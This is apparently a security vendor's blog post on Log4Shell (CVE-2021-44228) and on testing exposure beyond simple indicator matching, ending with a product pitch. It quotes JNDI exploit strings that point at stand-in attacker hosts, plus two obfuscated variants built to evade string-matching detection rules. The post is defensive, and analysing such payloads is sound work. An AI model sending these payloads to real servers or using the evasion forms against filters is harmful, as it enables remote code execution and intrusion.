Mitigating Log4Shell Exploitation

By the time you read this, you’ve surely heard all about the recent Apache Log4j 2 vulnerability publicly disclosed via Apache’s project GitHub on December 9, 2021. This critical vulnerability (CVE-2021-44228, CVSSv3 10.0) allows for unauthenticated remote code execution (RCE) and is therefore everyone’s top priority for patching and eliminating risk. 

Interestingly, a Black Hat presentation back in 2016 planted the seed for what was yet to come. By incorporating the recommendations presented as part of the Log4j best practice, perhaps they would have reduced the risk and impact today.

What happens behind the scenes is as follows, when a server logs data containing the malicious payload: ${jndi:ldap://malicious[.]server/a} or ${jndi:dns://… }, the Log4j vulnerability is triggered and the server makes a request to malicious.server via the Java Naming and Directory Interface (JNDI). This allows the attacker to inject a Java class payload and execute arbitrary code on the logging server. Note that Log4j may be deployed as a package or embedded into the app itself, so to uncover true exposure you must include both. 

But… right before you run off to patch patch patch – suggested by the list of vendors dropping patches at the pace that “Oprah gives away cars” – let’s look at the key things you should be aware of. We’ll specifically relate to Log4Shell but this is relevant for other recently reported critical vulnerabilities.

Log4Shell goes beyond the app-layer vulnerability

The majority of Log4j analysis and exploitation attempts reported to date (by GreyNoise and others) focus on web applications over HTTP/s. However, as we evaluate each organization’s exposure caused by Log4Shell vulnerability,  it is important to consider all possible exploitable attack interfaces beyond the app-layer. Additional interfaces must be included as part of the exposure analysis such as: SSH, Telnet, FTP, DNS, SMTP, SNMP, and of course HTTP/s.

Don’t trust “just” the IOCs 

It won’t be surprising if Google declares the top searched string of the year as ${jndi:ldap://attack[.]com/a}. But until then, we need to realize that the scope of the Log4Shell vulnerability is broader than what has been identified to date. In production environments, it is common to log HTTP information, however the limited use of User Agent, Accept, and other parameters does not imply a complete understanding of the vulnerability or the ability to completely scan for its existence. This is where a traditional IOC (Indicators of Compromise) approach can mislead security teams trying to match 1:1 to ${jndi:ldap://attack[.]com/a}. Vulnerability scanners will get some coverage and WAF rules will be able to block malicious access however, indenting the systems, running authenticated exercises from an assumed breach scenario is a different game we need to play here. 

While threat intelligence of known IPs attempting Log4Shell exploitation and several WAF or IDS rules were released, malicious adversaries taking advantage of the Log4Shell vulnerability use encoding, obfuscation and encryption to avoid prevention and detection of IOC-based rules. Two examples used trying to bypass string-matching detections are: ({jndi:${lower:l}${lower:d}a${lower:p}) and ($(${::-j}${::-n}${::-d}$::-i}). 

In some cases, the quick and dirty approach may provide some relief (block JNDI), especially for applications and servers that cannot be immediately patched, however at the end of the day those would provide a false sense of readiness.

Log4Shell – Know your real risk 

With the initial release of the Log4Shell vulnerability, Pentera Labs immediately initiated its research. Unlike most researchers and security practitioners, the focus was to understand how attackers may use this vulnerability to progress the attack, beyond exploitation, and meet their objectives, regardless of the terrain or network topology they operate in. Moreover, as software upgrades and patching take place, the goal is to validate that remediation steps taken indeed eliminated exposure over partial fix as we see often.

Discover

First, we have to understand that a critical component of every security solution is visibility – know your attack surface, know your assets. This step starts from the discovery of your exploitable attack surface – those exposed externally as well as across your internal infrastructure. 

Enumerate

The next step is to dig deeper and get the right context on the asset found, as mentioned earlier, the underlying server or the application running the Log4j library. With that context, you can take another step to assure all possible Log4j exposures are found to initiate testing and evaluate the scope of risk.

Attack

Every server, every application, every protocol is inherently different from one another. Therefore the approach taken must go beyond what was published to date: ldap, HTTP/s, UAS, … to assume the array of possibilities in the hands of the attacker is always bigger than what is known.

When evaluating possibilities of exploitation, all parameters of the request must be accounted for. This is what the Pentera research group turned to when the news broke. The team started mapping out all possible avenues available for the adversary to exploit, fuzzing through thousands of variables across every header, permutation, encoding, or obfuscation technique that may be used to uncover weaknesses in the infrastructure. These in addition to IOC-based scanners and detection rules which provide immediate yet partial relief. 

Prioritizing Remediation

Remember the previous note – wait before you patch patch patch – In the case of the Log4j pandemic, everyone and (almost) everything is a target. From a server that is at high-risk with a vulnerable immune system all the way to an application that is known to withstand the attack without any severe side-effects. The question is what should you focus your efforts on first during this “vaccination” race. Let’s not forget, up until a second ago, we had 30 other critical vulnerabilities to take action against, we had a recent MS Exchange zero-days reported to be exploited in the wild. Where do you start? 

This is exactly what the Pentera researchers focus on – Log4Shell is, unfortunately, yet another way for the adversary to gain remote control and progress an attack until obtaining access to corporate secrets and achieving objectives. Therefore, an attacker’s achievements must be addressed with context to how deep and wide an exploit may take them in a given network  – calculated across all vulnerabilities (and not only log4j ones).

For Pentera customers – please refer to more information available here.

If you have further questions, please contact us at www.pentera.io